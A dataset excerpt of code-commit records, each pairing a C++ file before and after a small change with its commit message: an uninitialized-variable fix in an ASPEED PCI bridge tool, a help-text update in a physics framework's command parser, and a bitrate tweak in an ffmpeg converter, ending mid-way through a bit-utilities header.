{"text":"<commit_before>\/*\n * Copyright 2019 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"p2a.hpp\"\n\n#include \"pci.hpp\"\n\nnamespace host_tool\n{\n\nbool P2aDataHandler::sendContents(const std::string& input,\n                                  std::uint16_t session)\n{\n    PciDevice result;\n    PciUtilImpl pci;\n    PciFilter filter;\n\n    filter.vid = aspeedVendorId;\n    filter.did = aspeedDeviceId;\n\n    \/* Find the ASPEED PCI device entry we want. *\/\n    auto output = pci.getPciDevices(filter);\n    for (const auto& d : output)\n    {\n        std::fprintf(stderr, \"[0x%x 0x%x] \", d.vid, d.did);\n\n        \/* Verify it's a memory-based bar -- we want bar1. *\/\n        pciaddr_t bar1 = d.bars[1];\n        if ((bar1 & PCI_BASE_ADDRESS_SPACE) == PCI_BASE_ADDRESS_SPACE_IO)\n        {\n            \/* We want it to not be IO-based access. *\/\n            continue;\n        }\n\n        result = d;\n    }\n    std::fprintf(stderr, \"\\n\");\n\n    \/* We sent the open command before this, so the window should be open and\n     * the bridge enabled.\n     *\/\n    std::uint32_t value;\n    if (!io->read(result.bars[1] | aspeedP2aConfig, sizeof(value), &value))\n    {\n        if (0 == (value & p2ABridgeEnabled))\n        {\n            std::fprintf(stderr, \"Bridge not enabled.\\n\");\n            return false;\n        }\n    }\n\n    std::fprintf(stderr, \"The bridge is enabled!\\n\");\n\n    \/* Read the configuration via blobs metadata (stat). *\/\n\n#if 0\n    \/* Configure the mmio to point there. *\/\n    if (!io->IoWrite(bar | kAspeedP2aBridge, sizeof(phys), &phys)) {\n        \/\/ Failed to set it up, so fall back.\n        std::fprintf(stderr, \"Failed to update the bridge address\\n\");\n        return false;\n    }\n#endif\n\n    return false;\n}\n\n} \/\/ namespace host_tool\n<commit_msg>bugfix: result.bars[1] may be used uninitialized<commit_after>\/*\n * Copyright 2019 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"p2a.hpp\"\n\n#include \"pci.hpp\"\n\nnamespace host_tool\n{\n\nbool P2aDataHandler::sendContents(const std::string& input,\n                                  std::uint16_t session)\n{\n    PciDevice result;\n    PciUtilImpl pci;\n    PciFilter filter;\n    bool found = false;\n\n    filter.vid = aspeedVendorId;\n    filter.did = aspeedDeviceId;\n\n    \/* Find the ASPEED PCI device entry we want. *\/\n    auto output = pci.getPciDevices(filter);\n    for (const auto& d : output)\n    {\n        std::fprintf(stderr, \"[0x%x 0x%x] \", d.vid, d.did);\n\n        \/* Verify it's a memory-based bar -- we want bar1. *\/\n        pciaddr_t bar1 = d.bars[1];\n        if ((bar1 & PCI_BASE_ADDRESS_SPACE) == PCI_BASE_ADDRESS_SPACE_IO)\n        {\n            \/* We want it to not be IO-based access. *\/\n            continue;\n        }\n\n        result = d;\n        found = true;\n        break;\n    }\n\n    if (!found)\n    {\n        return false;\n    }\n\n    std::fprintf(stderr, \"\\n\");\n\n    \/* We sent the open command before this, so the window should be open and\n     * the bridge enabled.\n     *\/\n    std::uint32_t value;\n    if (!io->read(result.bars[1] | aspeedP2aConfig, sizeof(value), &value))\n    {\n        if (0 == (value & p2ABridgeEnabled))\n        {\n            std::fprintf(stderr, \"Bridge not enabled.\\n\");\n            return false;\n        }\n    }\n\n    std::fprintf(stderr, \"The bridge is enabled!\\n\");\n\n    \/* Read the configuration via blobs metadata (stat). *\/\n\n#if 0\n    \/* Configure the mmio to point there. *\/\n    if (!io->IoWrite(bar | kAspeedP2aBridge, sizeof(phys), &phys)) {\n        \/\/ Failed to set it up, so fall back.\n        std::fprintf(stderr, \"Failed to update the bridge address\\n\");\n        return false;\n    }\n#endif\n\n    return false;\n}\n\n} \/\/ namespace host_tool\n<|endoftext|>"}
{"text":"<commit_before>\/**\n *  @copyright Copyright 2016 The J-PET Framework Authors. All rights reserved.\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may find a copy of the License in the LICENCE file.\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  @file JPetCmdParser.cpp\n *\/\n\n#include \"JPetCmdParser.h\"\n#include <iostream>\n#include \"..\/JPetCommonTools\/JPetCommonTools.h\"\n#include \"..\/JPetLoggerInclude.h\"\n#include \"..\/JPetScopeConfigParser\/JPetScopeConfigParser.h\"\n#include <stdexcept>\n\n\nJPetCmdParser::JPetCmdParser(): fOptionsDescriptions(\"Allowed options\")\n{\n  fOptionsDescriptions.add_options()\n  (\"help,h\", \"Displays this help message.\")\n  (\"type,t\", po::value<std::string>()->required()->implicit_value(\"\"), \"Type of file: hld, zip, root or scope.\")\n  (\"file,f\", po::value< std::vector<std::string> >()->required()->multitoken(), \"File(s) to open.\")\n  (\"outputPath,o\", po::value<std::string>(), \"Location to which the outputFiles will be saved.\")\n  (\"range,r\", po::value< std::vector<int> >()->multitoken()->default_value({ -1, -1}, \"\"), \"Range of events to process e.g. -r 1 1000 .\")\n  (\"param,p\", po::value<std::string>(), \"xml file with TRB settings used by the unpacker program.\")\n  (\"runId,i\", po::value<int>(), \"Run id.\")\n  (\"progressBar,b\", \"Progress bar.\")\n  (\"localDB,l\", po::value<std::string>(), \"The file to use as the parameter database.\")\n  (\"localDBCreate,L\", po::value<std::string>(), \"File name to which the parameter database will be saved.\");\n}\n\nJPetCmdParser::~JPetCmdParser()\n{\n  \/**\/\n}\n\nstd::vector<JPetOptions> JPetCmdParser::parseAndGenerateOptions(int argc, const char** argv)\n{\n  po::variables_map variablesMap;\n  if (argc == 1) {\n    ERROR(\"No options provided.\");\n    std::cerr << getOptionsDescription() << \"\\n\";\n    throw std::invalid_argument(\"No options provided.\");\n  }\n\n  po::store(po::parse_command_line(argc, argv, fOptionsDescriptions), variablesMap);\n\n  \/* print out help *\/\n  if (variablesMap.count(\"help\")) {\n    std::cout << getOptionsDescription() << \"\\n\";\n    exit(0);\n  }\n  po::notify(variablesMap);\n  if (!areCorrectOptions(variablesMap)) {\n    throw std::invalid_argument(\"Wrong user options provided! Check the log!\");\n  }\n\n  return generateOptions(variablesMap);\n}\n\nbool JPetCmdParser::areCorrectOptions(const po::variables_map& variablesMap) const\n{\n  \/* Parse range of events *\/\n  if (variablesMap.count(\"range\")) {\n    if (variablesMap[\"range\"].as< std::vector<int> >().size() != 2) {\n      ERROR(\"Wrong number of bounds in range.\");\n      std::cerr << \"Wrong number of bounds in range: \" << variablesMap[\"range\"].as< std::vector<int> >().size() << std::endl;\n      return false;\n    }\n    if (\n      variablesMap[\"range\"].as< std::vector<int> >()[0]\n      > variablesMap[\"range\"].as< std::vector<int> >()[1]) {\n      ERROR(\"Wrong range of events.\");\n      std::cerr << \"Wrong range of events.\" << std::endl;\n      return false;\n    }\n  }\n\n  if (!isCorrectFileType(getFileType(variablesMap))) {\n    ERROR(\"Wrong type of file.\");\n    std::cerr << \"Wrong type of file: \" << getFileType(variablesMap) << std::endl;\n    std::cerr << \"Possible options: hld, root or scope\" << std::endl;\n    return false;\n  }\n\n  if (isRunNumberSet(variablesMap)) {\n    int l_runId = variablesMap[\"runId\"].as<int>();\n\n    if (l_runId <= 0) {\n      ERROR(\"Run id must be a number larger than 0.\");\n      std::cerr << \"Run id must be a number larger than 0.\" << l_runId << std::endl;\n      return false;\n    }\n  }\n\n  if (isProgressBarSet(variablesMap)) {\n    int l_progressBar = variablesMap[\"progressBar\"].as<int>();\n\n    if (l_progressBar != 0 && l_progressBar != 1) {\n      ERROR(\"Wrong parameter of progressbar.\");\n      std::cerr << \"Wrong parameter of progressbar: \" << l_progressBar << std::endl;\n      return false;\n    }\n  }\n\n  if (isLocalDBSet(variablesMap)) {\n    std::string localDBName = getLocalDBName(variablesMap);\n    if ( !JPetCommonTools::ifFileExisting(localDBName) ) {\n      ERROR(\"File : \" + localDBName + \" does not exist.\");\n      std::cerr << \"File : \" << localDBName << \" does not exist\" << std::endl;\n      return false;\n    }\n  }\n\n  std::vector<std::string> fileNames(variablesMap[\"file\"].as< std::vector<std::string> >());\n  for (unsigned int i = 0; i < fileNames.size(); i++) {\n    if ( ! JPetCommonTools::ifFileExisting(fileNames[i]) ) {\n      std::string fileName = fileNames[i];\n      ERROR(\"File : \" + fileName + \" does not exist.\");\n      std::cerr << \"File : \" << fileNames[i] << \" does not exist\" << std::endl;\n      return false;\n    }\n  }\n\n\n  \/\/\/ The run number option is neclegted if the input file is set as \"scope\"\n  if (isRunNumberSet(variablesMap)) {\n    if (getFileType(variablesMap) == \"scope\") {\n      WARNING(\"Run number was specified but the input file type is a scope!\\n The run number will be ignored!\");\n    }\n  }\n\n  \/\/\/ Check if output path exists\n  if (isOutputPath(variablesMap)) {\n      auto dir = getOutputPath(variablesMap);\n      if (!JPetCommonTools::isDirectory(dir)) {\n        ERROR(\"Output directory : \" + dir + \" does not exist.\");\n        std::cerr << \"Output directory: \" << dir << \" does not exist\" << std::endl;\n        return false;\n      }\n  } \n  return true;\n}\n\nstd::vector<JPetOptions> JPetCmdParser::generateOptions(const po::variables_map& optsMap) const\n{\n  std::map<std::string, std::string> options = JPetOptions::getDefaultOptions();\n  auto fileType = getFileType(optsMap);\n  if (isCorrectFileType(fileType)) {\n    options.at(\"inputFileType\") = fileType;\n  }\n  if (isOutputPath(optsMap)) {\n    options.at(\"outputPath\") = JPetCommonTools::appendSlashToPathIfAbsent(getOutputPath(optsMap));\n  }\n  if (isRunNumberSet(optsMap)) {\n    options.at(\"runId\") = std::to_string(getRunNumber(optsMap));\n  }\n  if (isProgressBarSet(optsMap)) {\n    options.at(\"progressBar\") = \"true\";\n  }\n  if (isLocalDBSet(optsMap)) {\n    options[\"localDB\"] = getLocalDBName(optsMap);\n  }\n  if (isLocalDBCreateSet(optsMap)) {\n    options[\"localDBCreate\"] = getLocalDBCreateName(optsMap);\n  }\n  auto firstEvent  = getLowerEventBound(optsMap);\n  auto lastEvent  = getHigherEventBound(optsMap);\n  if (firstEvent >= 0) options.at(\"firstEvent\") = std::to_string(firstEvent);\n  if (lastEvent >= 0) options.at(\"lastEvent\") = std::to_string(lastEvent);\n\n  auto files = getFileNames(optsMap);\n  std::vector<JPetOptions>  optionContainer;\n  \/\/\/ In case of scope there is one special input file\n  \/\/\/ which is a json config file which must be parsed.\n  \/\/\/ Based on its content the set of input directories are generated.\n  \/\/\/ The input directories contain data files.\n  \/\/\/ The config input file name also should be stored in a special option field.\n  if (fileType == \"scope\") {\n    assert(files.size() == 1); \/\/\/ there should be only file which is config.\n    auto configFileName = files.front();\n    options.at(\"scopeConfigFile\") =  configFileName;\n    JPetScopeConfigParser scopeConfigParser;\n    \/\/\/ The scope module must use a fake input file name which will be used to\n    \/\/\/ produce the correct output file names by the following modules.\n    \/\/\/ At the same time, the input directory with true input files must be\n    \/\/\/ also added. The container of pairs <directory, fileName> is generated\n    \/\/\/ based on the content of the configuration file.\n    JPetScopeConfigParser::DirFileContainer dirsAndFiles = scopeConfigParser.getInputDirectoriesAndFakeInputFiles(configFileName);\n    for (auto dirAndFile : dirsAndFiles) {\n      options.at(\"scopeInputDirectory\") = dirAndFile.first;\n      options.at(\"inputFile\") = dirAndFile.second;\n      optionContainer.push_back(JPetOptions(options));\n    }\n  } else {\n    \/\/\/ for every single input file we create separate JPetOptions\n    for (auto file : files) {\n      options.at(\"inputFile\") = file;\n      optionContainer.push_back(JPetOptions(options));\n    }\n  }\n  return optionContainer;\n}\n\n\/\/#endif \/* __CINT__ *\/\n<commit_msg>Added zip phrase to function in JPetCmdParser<commit_after>\/**\n *  @copyright Copyright 2016 The J-PET Framework Authors. All rights reserved.\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may find a copy of the License in the LICENCE file.\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  @file JPetCmdParser.cpp\n *\/\n\n#include \"JPetCmdParser.h\"\n#include <iostream>\n#include \"..\/JPetCommonTools\/JPetCommonTools.h\"\n#include \"..\/JPetLoggerInclude.h\"\n#include \"..\/JPetScopeConfigParser\/JPetScopeConfigParser.h\"\n#include <stdexcept>\n\n\nJPetCmdParser::JPetCmdParser(): fOptionsDescriptions(\"Allowed options\")\n{\n  fOptionsDescriptions.add_options()\n  (\"help,h\", \"Displays this help message.\")\n  (\"type,t\", po::value<std::string>()->required()->implicit_value(\"\"), \"Type of file: hld, zip, root or scope.\")\n  (\"file,f\", po::value< std::vector<std::string> >()->required()->multitoken(), \"File(s) to open.\")\n  (\"outputPath,o\", po::value<std::string>(), \"Location to which the outputFiles will be saved.\")\n  (\"range,r\", po::value< std::vector<int> >()->multitoken()->default_value({ -1, -1}, \"\"), \"Range of events to process e.g. -r 1 1000 .\")\n  (\"param,p\", po::value<std::string>(), \"xml file with TRB settings used by the unpacker program.\")\n  (\"runId,i\", po::value<int>(), \"Run id.\")\n  (\"progressBar,b\", \"Progress bar.\")\n  (\"localDB,l\", po::value<std::string>(), \"The file to use as the parameter database.\")\n  (\"localDBCreate,L\", po::value<std::string>(), \"File name to which the parameter database will be saved.\");\n}\n\nJPetCmdParser::~JPetCmdParser()\n{\n  \/**\/\n}\n\nstd::vector<JPetOptions> JPetCmdParser::parseAndGenerateOptions(int argc, const char** argv)\n{\n  po::variables_map variablesMap;\n  if (argc == 1) {\n    ERROR(\"No options provided.\");\n    std::cerr << getOptionsDescription() << \"\\n\";\n    throw std::invalid_argument(\"No options provided.\");\n  }\n\n  po::store(po::parse_command_line(argc, argv, fOptionsDescriptions), variablesMap);\n\n  \/* print out help *\/\n  if (variablesMap.count(\"help\")) {\n    std::cout << getOptionsDescription() << \"\\n\";\n    exit(0);\n  }\n  po::notify(variablesMap);\n  if (!areCorrectOptions(variablesMap)) {\n    throw std::invalid_argument(\"Wrong user options provided! Check the log!\");\n  }\n\n  return generateOptions(variablesMap);\n}\n\nbool JPetCmdParser::areCorrectOptions(const po::variables_map& variablesMap) const\n{\n  \/* Parse range of events *\/\n  if (variablesMap.count(\"range\")) {\n    if (variablesMap[\"range\"].as< std::vector<int> >().size() != 2) {\n      ERROR(\"Wrong number of bounds in range.\");\n      std::cerr << \"Wrong number of bounds in range: \" << variablesMap[\"range\"].as< std::vector<int> >().size() << std::endl;\n      return false;\n    }\n    if (\n      variablesMap[\"range\"].as< std::vector<int> >()[0]\n      > variablesMap[\"range\"].as< std::vector<int> >()[1]) {\n      ERROR(\"Wrong range of events.\");\n      std::cerr << \"Wrong range of events.\" << std::endl;\n      return false;\n    }\n  }\n\n  if (!isCorrectFileType(getFileType(variablesMap))) {\n    ERROR(\"Wrong type of file.\");\n    std::cerr << \"Wrong type of file: \" << getFileType(variablesMap) << std::endl;\n    std::cerr << \"Possible options: hld, zip, root or scope\" << std::endl;\n    return false;\n  }\n\n  if (isRunNumberSet(variablesMap)) {\n    int l_runId = variablesMap[\"runId\"].as<int>();\n\n    if (l_runId <= 0) {\n      ERROR(\"Run id must be a number larger than 0.\");\n      std::cerr << \"Run id must be a number larger than 0.\" << l_runId << std::endl;\n      return false;\n    }\n  }\n\n  if (isProgressBarSet(variablesMap)) {\n    int l_progressBar = variablesMap[\"progressBar\"].as<int>();\n\n    if (l_progressBar != 0 && l_progressBar != 1) {\n      ERROR(\"Wrong parameter of progressbar.\");\n      std::cerr << \"Wrong parameter of progressbar: \" << l_progressBar << std::endl;\n      return false;\n    }\n  }\n\n  if (isLocalDBSet(variablesMap)) {\n    std::string localDBName = getLocalDBName(variablesMap);\n    if ( !JPetCommonTools::ifFileExisting(localDBName) ) {\n      ERROR(\"File : \" + localDBName + \" does not exist.\");\n      std::cerr << \"File : \" << localDBName << \" does not exist\" << std::endl;\n      return false;\n    }\n  }\n\n  std::vector<std::string> fileNames(variablesMap[\"file\"].as< std::vector<std::string> >());\n  for (unsigned int i = 0; i < fileNames.size(); i++) {\n    if ( ! JPetCommonTools::ifFileExisting(fileNames[i]) ) {\n      std::string fileName = fileNames[i];\n      ERROR(\"File : \" + fileName + \" does not exist.\");\n      std::cerr << \"File : \" << fileNames[i] << \" does not exist\" << std::endl;\n      return false;\n    }\n  }\n\n\n  \/\/\/ The run number option is neclegted if the input file is set as \"scope\"\n  if (isRunNumberSet(variablesMap)) {\n    if (getFileType(variablesMap) == \"scope\") {\n      WARNING(\"Run number was specified but the input file type is a scope!\\n The run number will be ignored!\");\n    }\n  }\n\n  \/\/\/ Check if output path exists\n  if (isOutputPath(variablesMap)) {\n      auto dir = getOutputPath(variablesMap);\n      if (!JPetCommonTools::isDirectory(dir)) {\n        ERROR(\"Output directory : \" + dir + \" does not exist.\");\n        std::cerr << \"Output directory: \" << dir << \" does not exist\" << std::endl;\n        return false;\n      }\n  } \n  return true;\n}\n\nstd::vector<JPetOptions> JPetCmdParser::generateOptions(const po::variables_map& optsMap) const\n{\n  std::map<std::string, std::string> options = JPetOptions::getDefaultOptions();\n  auto fileType = getFileType(optsMap);\n  if (isCorrectFileType(fileType)) {\n    options.at(\"inputFileType\") = fileType;\n  }\n  if (isOutputPath(optsMap)) {\n    options.at(\"outputPath\") = JPetCommonTools::appendSlashToPathIfAbsent(getOutputPath(optsMap));\n  }\n  if (isRunNumberSet(optsMap)) {\n    options.at(\"runId\") = std::to_string(getRunNumber(optsMap));\n  }\n  if (isProgressBarSet(optsMap)) {\n    options.at(\"progressBar\") = \"true\";\n  }\n  if (isLocalDBSet(optsMap)) {\n    options[\"localDB\"] = getLocalDBName(optsMap);\n  }\n  if (isLocalDBCreateSet(optsMap)) {\n    options[\"localDBCreate\"] = getLocalDBCreateName(optsMap);\n  }\n  auto firstEvent  = getLowerEventBound(optsMap);\n  auto lastEvent  = getHigherEventBound(optsMap);\n  if (firstEvent >= 0) options.at(\"firstEvent\") = std::to_string(firstEvent);\n  if (lastEvent >= 0) options.at(\"lastEvent\") = std::to_string(lastEvent);\n\n  auto files = getFileNames(optsMap);\n  std::vector<JPetOptions>  optionContainer;\n  \/\/\/ In case of scope there is one special input file\n  \/\/\/ which is a json config file which must be parsed.\n  \/\/\/ Based on its content the set of input directories are generated.\n  \/\/\/ The input directories contain data files.\n  \/\/\/ The config input file name also should be stored in a special option field.\n  if (fileType == \"scope\") {\n    assert(files.size() == 1); \/\/\/ there should be only file which is config.\n    auto configFileName = files.front();\n    options.at(\"scopeConfigFile\") =  configFileName;\n    JPetScopeConfigParser scopeConfigParser;\n    \/\/\/ The scope module must use a fake input file name which will be used to\n    \/\/\/ produce the correct output file names by the following modules.\n    \/\/\/ At the same time, the input directory with true input files must be\n    \/\/\/ also added. The container of pairs <directory, fileName> is generated\n    \/\/\/ based on the content of the configuration file.\n    JPetScopeConfigParser::DirFileContainer dirsAndFiles = scopeConfigParser.getInputDirectoriesAndFakeInputFiles(configFileName);\n    for (auto dirAndFile : dirsAndFiles) {\n      options.at(\"scopeInputDirectory\") = dirAndFile.first;\n      options.at(\"inputFile\") = dirAndFile.second;\n      optionContainer.push_back(JPetOptions(options));\n    }\n  } else {\n    \/\/\/ for every single input file we create separate JPetOptions\n    for (auto file : files) {\n      options.at(\"inputFile\") = file;\n      optionContainer.push_back(JPetOptions(options));\n    }\n  }\n  return optionContainer;\n}\n\n\/\/#endif \/* __CINT__ *\/\n<|endoftext|>"}
{"text":"<commit_before>#include \"ui_mainwindow.h\"\n#include \"converter.h\"\n#include \"utilities.h\"\n#include \"window.h\"\n#include <QTime>\n\nConverter::Converter(QObject *parent) : QObject(parent) {\n}\n\nvoid Converter::start() {\n    utils.addToLog(\"<b>Starting conversion.<\/b>\");\n    utils.killProcesses();\n\n    utils.currentDuration = 0;\n\n    QStringList arguments;\n    arguments << \"-y\" << \"-hide_banner\";\n    arguments << \"-i\" << utils.getCurrentRawFilename();\n\n    int bt = win.ui->bitrateValue->text().toInt() - 100;\n    if (bt <= 0) bt = 1;\n    QString bitrate = QString::number(bt);\n\n    if (!bitrate.isEmpty()) {\n        bitrate.append(\"K\");\n        arguments << \"-b:v\" << bitrate;\n        utils.addToLog(\"Bitrate set to: \" + bitrate);\n    }\n\n    if (!utils.configGetValue(\"ffmpeg_params\").isEmpty()) {\n        arguments << utils.configGetValue(\"ffmpeg_params\").split(\" \");\n        utils.addToLog(\"Used custom parameters: \" + utils.configGetValue(\"ffmpeg_params\"));\n    }\n\n    if (!win.ui->cutFromEdit->text().trimmed().isEmpty() && !win.ui->cutToEdit->text().trimmed().isEmpty()) {\n        arguments << \"-ss\" << win.ui->cutFromEdit->text().trimmed();\n        arguments << \"-to\" << win.ui->cutToEdit->text().trimmed();\n        utils.addToLog(\"Output video length: \" + (QTime(0,0,0).addSecs(utils.getTrimmedVideoDuration())).toString(\"hh:mm:ss\"));\n        utils.currentDuration = utils.getTrimmedVideoDuration();\n    }\n\n    if (win.ui->menuRemoveAudio->isChecked())\n        arguments << \"-an\";\n\n    arguments << utils.getCurrentFilename();\n\n    utils.conversionProcess = new QProcess;\n    utils.conversionProcess->setProcessChannelMode(QProcess::MergedChannels);\n    utils.conversionProcess->start(utils.ffmpegBinaryName(), arguments);\n\n    connect(utils.conversionProcess, SIGNAL(readyReadStandardOutput()), this, SLOT(read()));\n    connect(utils.conversionProcess, SIGNAL(finished(int)), this, SLOT(complete(int)));\n}\n\nvoid Converter::read() {\n    QString buffer = utils.conversionProcess->readAllStandardOutput();\n    QString duration, progress;\n    QTime durationTime, progressTime;\n    QRegExp time(\"\\\\d\\\\d\\\\:\\\\d\\\\d\\\\:\\\\d\\\\d\\\\.\\\\d\\\\d\");\n    time.indexIn(buffer);\n    if (buffer.contains(\"Duration: \") && utils.currentDuration == 0) {\n        duration = time.capturedTexts()[0];\n        durationTime = QTime::fromString(duration, \"hh:mm:ss.z\");\n        utils.currentDuration = QTime(0,0).secsTo(durationTime);\n    } else {\n        if (buffer != \"\") {\n            progress = time.capturedTexts()[0];\n            if (progress != \"\") {\n                progressTime = QTime::fromString(progress, \"hh:mm:ss.z\");\n                int percent = double((QTime(0,0).msecsTo(progressTime)) \/ double(utils.currentDuration*1000))*100;\n                win.ui->conversionProgressBar->setValue(percent);\n            }\n        }\n    }\n    if (win.ui->menuFfmpegOutput->isChecked())\n        utils.addToLog(buffer);\n    else\n        utils.addToLog(buffer, false);\n}\n\nvoid Converter::complete(int code) {\n    utils.conversionProcess->deleteLater();\n    utils.conversionProcess = NULL;\n    win.updateConversionButton();\n\n    if (utils.killed) {\n        utils.addToLog(\"<b>Conversion canceled.<\/b>\");\n        utils.killed = false;\n        win.toggleConversionButton();\n        return;\n    }\n    if (code != 0) {\n        utils.addToLog(\"<b>Error on conversion. Check logs.<\/b>\");\n        win.toggleConversionButton();\n        return;\n    }\n\n    \/\/ In case video is so short that ffmpeg do not display\n    \/\/ conversion status\n    win.ui->conversionProgressBar->setValue(100);\n\n    win.toggleConversionButton();\n    win.updateConversionButton();\n\n    if (win.ui->menuRemoveRawVideo->isChecked())\n        utils.removeRawVideo();\n\n    utils.addToLog(\"<b>Conversion complete.<\/b>\");\n    utils.addToLog(\"Saved to: \" + utils.getCurrentFilename());\n\n    if (win.ui->menuShowFile->isChecked())\n        utils.showFileInDirectory();\n}\n<commit_msg>bitrate calculating incldudes audio settings<commit_after>#include \"ui_mainwindow.h\"\n#include \"converter.h\"\n#include \"utilities.h\"\n#include \"window.h\"\n#include <QTime>\n\nConverter::Converter(QObject *parent) : QObject(parent) {\n}\n\nvoid Converter::start() {\n    utils.addToLog(\"<b>Starting conversion.<\/b>\");\n    utils.killProcesses();\n\n    utils.currentDuration = 0;\n\n    QStringList arguments;\n    arguments << \"-y\" << \"-hide_banner\";\n    arguments << \"-i\" << utils.getCurrentRawFilename();\n\n    int bt = win.ui->bitrateValue->text().toInt();\n\n    if (win.ui->menuRemoveAudio->isChecked())\n        arguments << \"-an\";\n    else\n        bt -= 100;\n\n    if (bt <= 0) bt = 1;\n    QString bitrate = QString::number(bt);\n\n    if (!bitrate.isEmpty()) {\n        bitrate.append(\"K\");\n        arguments << \"-b:v\" << bitrate;\n        utils.addToLog(\"Bitrate set to: \" + bitrate);\n    }\n\n    if (!utils.configGetValue(\"ffmpeg_params\").isEmpty()) {\n        arguments << utils.configGetValue(\"ffmpeg_params\").split(\" \");\n        utils.addToLog(\"Used custom parameters: \" + utils.configGetValue(\"ffmpeg_params\"));\n    }\n\n    if (!win.ui->cutFromEdit->text().trimmed().isEmpty() && !win.ui->cutToEdit->text().trimmed().isEmpty()) {\n        arguments << \"-ss\" << win.ui->cutFromEdit->text().trimmed();\n        arguments << \"-to\" << win.ui->cutToEdit->text().trimmed();\n        utils.addToLog(\"Output video length: \" + (QTime(0,0,0).addSecs(utils.getTrimmedVideoDuration())).toString(\"hh:mm:ss\"));\n        utils.currentDuration = utils.getTrimmedVideoDuration();\n    }\n\n    arguments << utils.getCurrentFilename();\n\n    utils.conversionProcess = new QProcess;\n    utils.conversionProcess->setProcessChannelMode(QProcess::MergedChannels);\n    utils.conversionProcess->start(utils.ffmpegBinaryName(), arguments);\n\n    connect(utils.conversionProcess, SIGNAL(readyReadStandardOutput()), this, SLOT(read()));\n    connect(utils.conversionProcess, SIGNAL(finished(int)), this, SLOT(complete(int)));\n}\n\nvoid Converter::read() {\n    QString buffer = utils.conversionProcess->readAllStandardOutput();\n    QString duration, progress;\n    QTime durationTime, progressTime;\n    QRegExp time(\"\\\\d\\\\d\\\\:\\\\d\\\\d\\\\:\\\\d\\\\d\\\\.\\\\d\\\\d\");\n    time.indexIn(buffer);\n    if (buffer.contains(\"Duration: \") && utils.currentDuration == 0) {\n        duration = time.capturedTexts()[0];\n        durationTime = QTime::fromString(duration, \"hh:mm:ss.z\");\n        utils.currentDuration = QTime(0,0).secsTo(durationTime);\n    } else {\n        if (buffer != \"\") {\n            progress = time.capturedTexts()[0];\n            if (progress != \"\") {\n                progressTime = QTime::fromString(progress, \"hh:mm:ss.z\");\n                int percent = double((QTime(0,0).msecsTo(progressTime)) \/ double(utils.currentDuration*1000))*100;\n                win.ui->conversionProgressBar->setValue(percent);\n            }\n        }\n    }\n    if (win.ui->menuFfmpegOutput->isChecked())\n        utils.addToLog(buffer);\n    else\n        utils.addToLog(buffer, false);\n}\n\nvoid Converter::complete(int code) {\n    utils.conversionProcess->deleteLater();\n    utils.conversionProcess = NULL;\n    win.updateConversionButton();\n\n    if (utils.killed) {\n        utils.addToLog(\"<b>Conversion canceled.<\/b>\");\n        utils.killed = false;\n        win.toggleConversionButton();\n        return;\n    }\n    if (code != 0) {\n        utils.addToLog(\"<b>Error on conversion. Check logs.<\/b>\");\n        win.toggleConversionButton();\n        return;\n    }\n\n    \/\/ In case video is so short that ffmpeg do not display\n    \/\/ conversion status\n    win.ui->conversionProgressBar->setValue(100);\n\n    win.toggleConversionButton();\n    win.updateConversionButton();\n\n    if (win.ui->menuRemoveRawVideo->isChecked())\n        utils.removeRawVideo();\n\n    utils.addToLog(\"<b>Conversion complete.<\/b>\");\n    utils.addToLog(\"Saved to: \" + utils.getCurrentFilename());\n\n    if (win.ui->menuShowFile->isChecked())\n        utils.showFileInDirectory();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2015 - 2021 gary@drinkingtea.net\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#pragma once\n\n#include <ox\/std\/assert.hpp>\n#include <ox\/std\/bit.hpp>\n#include <ox\/std\/byteswap.hpp>\n#include <ox\/std\/memops.hpp>\n\nnamespace ox::mc {\n\ntemplate<typename T>\nstatic constexpr auto Bits = sizeof(T) << 3;\n\n\/**\n * Returns highest bit other than possible signed bit.\n * Bit numbering starts at 0.\n *\/\ntemplate<typename I>\n[[nodiscard]] constexpr std::size_t highestBit(I val) noexcept {\n\tauto shiftStart = sizeof(I) * 8 - 1;\n\t\/\/ find most significant non-sign indicator bit\n\tstd::size_t highestBit = 0;\n\t\/\/ start at one bit lower if signed\n\tif constexpr(ox::is_signed_v<I>) {\n\t\t--shiftStart;\n\t}\n\tfor (int i = shiftStart; i > -1; --i) {\n\t\tconst auto bitValue = (val >> i) & 1;\n\t\tif (bitValue) {\n\t\t\thighestBit = i;\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn highestBit;\n}\n\nstatic_assert(highestBit(int8_t(0b10000000)) == 0);\nstatic_assert(highestBit(1) == 0);\nstatic_assert(highestBit(2) == 1);\nstatic_assert(highestBit(4) == 2);\nstatic_assert(highestBit(8) == 3);\nstatic_assert(highestBit(uint64_t(1) << 31) == 31);\nstatic_assert(highestBit(uint64_t(1) << 63) == 63);\n\nstruct 